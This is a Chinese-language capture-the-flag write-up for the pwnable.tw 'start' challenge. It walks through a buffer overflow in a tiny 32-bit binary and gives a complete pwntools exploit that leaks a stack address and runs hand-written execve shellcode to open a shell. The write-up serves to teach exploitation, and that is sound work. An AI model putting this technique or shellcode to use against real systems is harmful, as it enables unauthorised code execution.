如果有什么不懂的地方,可以在评论区评论哦,看到就会回答的。
拿到附件以后 checksec一下:
32位程序 没有开启任何保护,放入ida中看一下,只有两个函数_start和_exit,这个题目的源码就不是C代码,本身就是汇编代码,:
我们看汇编代码:
大概流程就是 先压栈esp和exit函数地址,然后压栈字符串,我们可以先运行一下这个程序:
中间的五次push应该就是压入的这些字符串。
随后 write系统调用 打印这些字符串,然后 read系统调用 让用户写入数据
write了0x14字节大小的字符 read 0x3c 大小的字符
在系统调用的过程中,esp的值是不变的,我们通过gdb动态调试也可以看出来这一点。
在函数的最后 add esp 14h ; ret;在执行这一句之前,栈空间的布局是这样的:
.
add esp 0x14之后 ,esp指向了exit函数,随后ret 执行 exit,这就是整个函数的执行流程。
这个题目的漏洞也是很明显的,就是出在了read系统调用执行的过程,read了0x3c个字节大小的数据,所以我们是可以覆盖到exit函数的地址的,此外NX保护也没有开启,说明栈是可执行的,所以这个题目的大概利用流程就是 将exit()函数地址覆盖位ret,泄露栈的地址,然后栈上写入shellcode
再次覆盖返回地址为shellcode即可了,需要注意的是,pwntools生成的shellcode是44字节的,而我们能写入的shellcode大小为0x3C - 0x14 = 40bytes 所以建议手写汇编,或者在相关网站上搜索shellcode。
exp如下:
from pwn import *
p = process("./start")
e = ELF("./start")
context.log_level = 'debug'
#p = remote("chall.pwnable.tw",1000)
context.arch = "i386"
#gdb.debug(e.path,'b _start')
shellcode = asm( "xor ecx,ecx;xor edx,edx ; push edx;push 0x68732f6e;push 0x69622f2f; mov ebx,esp;mov eax,0xb;int 0x80 ")
write_addr = 0x8048087
payload1 = "a" * 0x14 + p32(write_addr)
p.sendafter(":",payload1)
stack_addr = u32(p.recv(4))
log.success("stack_addr:" + hex(stack_addr))
payload2 = 'a'*0x14 + p32(stack_addr + 0x14) + shellcode
p.send(payload2)
p.interactive()
第一次发送payload后,栈上的布局如下:
第二次payload 发送后:栈上布局如下:
大概就是这样啦!